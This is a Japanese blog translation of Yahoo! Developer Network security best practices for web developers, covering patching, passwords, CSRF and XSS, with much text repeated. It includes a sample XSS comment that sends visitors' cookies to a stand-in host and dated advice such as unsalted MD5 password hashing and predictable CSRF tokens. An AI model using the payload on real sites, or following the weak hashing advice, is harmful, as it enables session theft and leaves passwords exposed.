Yahoo! Developer Network セキュリティベストプラクティス
スポンサーリンク
原文は、 Yahoo! Developer Network - Security Best Practicesです。
http://developer.yahoo.com/security/
Yahoo!は、ユーザの個人情報のセキュリティを真剣に取り扱っています。そして、私たちの開発者も同じであることを望みます。ここには、あなたのアプリケーションで、あなたのユーザあの信頼を守るためのガイドラインがあります。
YDN セキュリティベストプラクティス あなたのサービスを守る
ユーザの情報を守るためのファーストステップとして、あなたのシステムを最新のセキュリティパッチを確実にあてます。利用しているサーバがあなたの管理下にないなら、サーバのプロパイダにシステムが最新に保たれているか尋ねてください。
インストールしたオペレーティングシステムの最新のセキュリティパッチを確実に適用してください。
パスワードは、推測が難しいものを選ぶようにしてください。ハッカーは、ウェブサーバのパスワードの推測にたいてい辞書攻撃(dictionary attacks)を利用します。パスワードには、大文字や小文字、数字、記号($#@%^&*)を含めるようにしてください。
YDN セキュリティベストプラクティス あなたのネットワークを守る
インターネットに公開されているサービスは、ユーザのアクセスが必要な部分だけであることを確実にしてください。
YDN セキュリティベストプラクティス リクエストフォージェリー(リクエスト偽装)から守る
あなたのアプリケーションから出たあなたのアプリケーションへのリクエストであることを確かにしてください。
ユーザの写真をマネージするアプリケーションがあったとします。もし、アプリケーションがユーザの写真を削除する機能(例えば、 http://myapp.org/delete_photos.php ) を提供しているとき、攻撃者は、攻撃者のウェブページに同じURLを<img src="http://myapp.org/delete_photos.php">のように埋め込むことができます。 もし、あなたのユーザがその攻撃者のページに訪れたら、そのユーザの写真を消去されてしまうでしょう。
ここにあなたのアプリケーションへ来たリクエストがアプリケーションから出されたことを確かにする方法があります。
あなたのアプリケーションへのURLの終わりにユーザ固有のシグネチャを追加します。
ユーザに変わって、アクションをとるまえに、パラメータの"sig"を同じハッシュオペレーションを利用して、正しいことを確認します。
あなたの使っているディベロップメントフレームワークがユーザセッションコンテナ(たとえば、PHP)をサポートしているなら、タイムスタンプでユニークなシグネチャを生成し、リクエストごとにセッションにそれを保存し、後に続くサーバへのリクエストのためにformやURLに埋め込みます。シグネチャが一致したときだけ、ユーザに代わったアクションを実行し、時間が過ぎていないことを確認してください。
YDN セキュリティベストプラクティス Cross-Site-Scriptingから守る
ユーザからの入力を受け入れ、ほかのユーザにそれを表示する場合、最初のユーザ(入力をしたユーザ)が次のユーザの情報を確実に盗めないようにする必要があります。
たとえば、ゲストブックアプリケーションで、他者が閲覧することができるコメントを入力することができる場合、攻撃者は、次のようなコメントを残すことができます。
この例では、あなたのサイトのユーザのcookieを evilhacker.orgでまっているサーバに送信することができます。このような種類の攻撃から保護するために、入力することを許す厳しいルールを定義して、すべてのユーザの入力をチェックしてください。ユーザの入力のフィルターするためにホワイトリスト(許可する文字だけ)を利用してください。ほとんどの場合、 < や >の文字は、許可する必要がありません。
http://developer.yahoo.com/security/
Yahoo!は、ユーザの個人情報のセキュリティを真剣に取り扱っています。そして、私たちの開発者も同じであることを望みます。ここには、あなたのアプリケーションで、あなたのユーザあの信頼を守るためのガイドラインがあります。
YDN セキュリティベストプラクティス あなたのサービスを守る
ユーザの情報を守るためのファーストステップとして、あなたのシステムを最新のセキュリティパッチを確実にあてます。利用しているサーバがあなたの管理下にないなら、サーバのプロパイダにシステムが最新に保たれているか尋ねてください。
インストールしたオペレーティングシステムの最新のセキュリティパッチを確実に適用してください。
- FreeBSD Security http://www.freebsd.org/security/
- RedHat Security Updates https://www.redhat.com/security/updates/
- Debian Security http://www.us.debian.org/security/
- Windows Update http://windowsupdate.microsoft.com/
- Apache HTTP Server http://httpd.apache.org/security_report.html
- Microsoft IIS http://www.microsoft.com/WindowsServer2003/iis/default.mspxo
- 80 (HTTP)
- 443 (HTTPS - アプリケーションが利用している場合だけです)
- 22 (SSH)
パスワードは、推測が難しいものを選ぶようにしてください。ハッカーは、ウェブサーバのパスワードの推測にたいてい辞書攻撃(dictionary attacks)を利用します。パスワードには、大文字や小文字、数字、記号($#@%^&*)を含めるようにしてください。
YDN セキュリティベストプラクティス あなたのネットワークを守る
インターネットに公開されているサービスは、ユーザのアクセスが必要な部分だけであることを確実にしてください。
- インターネットからアクセスできないプライベートネットワークのサーバ(例えばバックエンドデータベースサーバ)にユーザが直接アクセスできないようにしてください。それができない場合は、あなたのウェブサーバ以外のコンピュータのアクセスをファイヤーウォールのソフトウェアでブロックしてください。
- クリアテキストでパスワードを保存してはいけません。MD5やSHA-256といったハッシュアルゴリズムを利用し、ユーザのパスワードのシグネチャを作成し、ストレージに保存してください。あなたのログインページでパスワードを受け取ったら、同じアルゴリズムを利用して、ストレージに保存したものと比較し、ユーザ認証を行うことができます。
- ユーザの識別にcookieを利用する場合、単純にユーザ名をcookieに格納し、リクエストの認証をそれだけに頼ってはいけません。これは、ハッカーにとって、推測や偽造がとても簡単です。代わりに、ログインやパスワードに基づいたユニークなシグネチャを生成し、cookieに格納してください。
- あなたのアプリケーションでパラメータをSQLステートメントに渡すときは、慎重にチェックしていください。未処理のユーザかあらの入力は、あなたのデータベースを容易に乗っ取る(ハイジャック)することができます。PHPでは、この手の攻撃を防ぐために mysql_relal_escape_string() 関数を呼びます。
- 定期的にあなたのシステムから使わない/不必要なユーザデータを削除してください。攻撃者があなたのシステムのコントロールを奪ったときのダメージを最小限にすることができます。
YDN セキュリティベストプラクティス リクエストフォージェリー(リクエスト偽装)から守る
あなたのアプリケーションから出たあなたのアプリケーションへのリクエストであることを確かにしてください。
ユーザの写真をマネージするアプリケーションがあったとします。もし、アプリケーションがユーザの写真を削除する機能(例えば、 http://myapp.org/delete_photos.php ) を提供しているとき、攻撃者は、攻撃者のウェブページに同じURLを<img src="http://myapp.org/delete_photos.php">のように埋め込むことができます。 もし、あなたのユーザがその攻撃者のページに訪れたら、そのユーザの写真を消去されてしまうでしょう。
ここにあなたのアプリケーションへ来たリクエストがアプリケーションから出されたことを確かにする方法があります。
あなたのアプリケーションへのURLの終わりにユーザ固有のシグネチャを追加します。
<?php $delete_signature = md5($username . "xyz123_delete_photos"); ?> <!-- signed link --> <a href="/delete_photos.php?signature=<?php echo $delete_signature; ?>'>Delete Photos</a>
ユーザに変わって、アクションをとるまえに、パラメータの"sig"を同じハッシュオペレーションを利用して、正しいことを確認します。
<?php $delete_signature = md5($username . "xyz123_delete_photos"); if ($_GET['signature'] === $delete_signature) { // 削除の処理を実行する // ... } else { // これは問題があります。 // ... } ?>
あなたの使っているディベロップメントフレームワークがユーザセッションコンテナ(たとえば、PHP)をサポートしているなら、タイムスタンプでユニークなシグネチャを生成し、リクエストごとにセッションにそれを保存し、後に続くサーバへのリクエストのためにformやURLに埋め込みます。シグネチャが一致したときだけ、ユーザに代わったアクションを実行し、時間が過ぎていないことを確認してください。
<?php $_SESSION['signature'] = md5(uniqid(rand(), true) + $username); $_SESSION['signature_timestamp'] = time(); ?> <!-- signed link --> <a href="/delete_photos.php?signature=<?php echo $_SESSION['signature']; ?>'>Delete Photos</a> <!-- signed form --> <form method="POST' action="/edit_photos.php'> <input type="hidden' name="signature' value="<?php echo $_SESSION['signature']; ?>'/> <input type="text' name="search' /> <input type="submit' /> </form>
YDN セキュリティベストプラクティス Cross-Site-Scriptingから守る
ユーザからの入力を受け入れ、ほかのユーザにそれを表示する場合、最初のユーザ(入力をしたユーザ)が次のユーザの情報を確実に盗めないようにする必要があります。
たとえば、ゲストブックアプリケーションで、他者が閲覧することができるコメントを入力することができる場合、攻撃者は、次のようなコメントを残すことができます。
Hello Everyone!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>
この例では、あなたのサイトのユーザのcookieを evilhacker.orgでまっているサーバに送信することができます。このような種類の攻撃から保護するために、入力することを許す厳しいルールを定義して、すべてのユーザの入力をチェックしてください。ユーザの入力のフィルターするためにホワイトリスト(許可する文字だけ)を利用してください。ほとんどの場合、 < や >の文字は、許可する必要がありません。
参照しているページ (サイト内): [2009-05-18-3]
スポンサーリンク
スポンサーリンク
いつもシェア、ありがとうございます!
もっと情報を探しませんか?
関連記事
最近の記事
- パナソニック ジェットウォッシャードルツ EW-DJ61-Wのホースの修理
- LinuxセキュリティモジュールIntegrity Policy Enforcement
- アマゾンのEcho Show 5を買ったのでレビューします
- アマゾンのサイバーマンデーはAlexa Echo Show 5が安い
- Android スマートフォン OnePlus 7T と OnePlus 7の違い
- Android スマートフォン OnePlus 7 をAndroid10にアップデートしてみた
- クレジットカードのバーチャルカードの比較のまとめ
- 活動量計 Xiaomi Mi Band 4を買ってみたのでレビュー
- Android スマートフォン OnePlus 7 のレビュー
- AliExpressでスマートフォンを買い物してみた
- パソコンのホコリ対策 レンジフードフィルターと養生テープ
- 80PLUS GOLDのPC電源ユニットAntec NeoEco 750 Goldのレビュー
- イギリスの付加価値税 VAT は払い戻しを受けられる
- イギリスのロンドンでスーツケースなど荷物を預けられる場所は
- イギリスのロンドンで地下鉄やバスに乗るならオイスターカードを使おう
- イギリスのヒースロー空港からロンドン市内への行き方
- 航空便でほかの航空会社に乗り継ぎがある場合のオンラインチェックイン
- SFC会員がANA便ではなくベトナム航空のコードシェアを試して解ったこと
- ベトナムの入国審査でeチケットの掲示が必要だった話
- シアトルの交通ICカードはオルカカード(Orca)です
人気のページ
- Windows7 IME 辞書ツールで単語の登録に失敗しました
- C言語 popen()でコマンドを実行して出力を読み込む
- Windows7で休止状態にする方法
- CentOS MySQLの起動、停止、再起動
- loggerコマンドでsyslogにエラーを出力する方法
- パソコンパーツの買取をしてくれる店のまとめ
- Java Mapの使い方 get(),put(),remove(),size(),clear()
- 楽天のRポイントカードを作ってみた
- iPhone 5 から iPhone 6 に乗り換えたのでレビュー
- netstatコマンドのステータスの意味
スポンサーリンク
過去ログ
2020 : 01 02 03 04 05 06 07 08 09 10 11 122019 : 01 02 03 04 05 06 07 08 09 10 11 12
2018 : 01 02 03 04 05 06 07 08 09 10 11 12
2017 : 01 02 03 04 05 06 07 08 09 10 11 12
2016 : 01 02 03 04 05 06 07 08 09 10 11 12
2015 : 01 02 03 04 05 06 07 08 09 10 11 12
2014 : 01 02 03 04 05 06 07 08 09 10 11 12
2013 : 01 02 03 04 05 06 07 08 09 10 11 12
2012 : 01 02 03 04 05 06 07 08 09 10 11 12
2011 : 01 02 03 04 05 06 07 08 09 10 11 12
2010 : 01 02 03 04 05 06 07 08 09 10 11 12
2009 : 01 02 03 04 05 06 07 08 09 10 11 12
2008 : 01 02 03 04 05 06 07 08 09 10 11 12
2007 : 01 02 03 04 05 06 07 08 09 10 11 12
2006 : 01 02 03 04 05 06 07 08 09 10 11 12
2005 : 01 02 03 04 05 06 07 08 09 10 11 12
2004 : 01 02 03 04 05 06 07 08 09 10 11 12
2003 : 01 02 03 04 05 06 07 08 09 10 11 12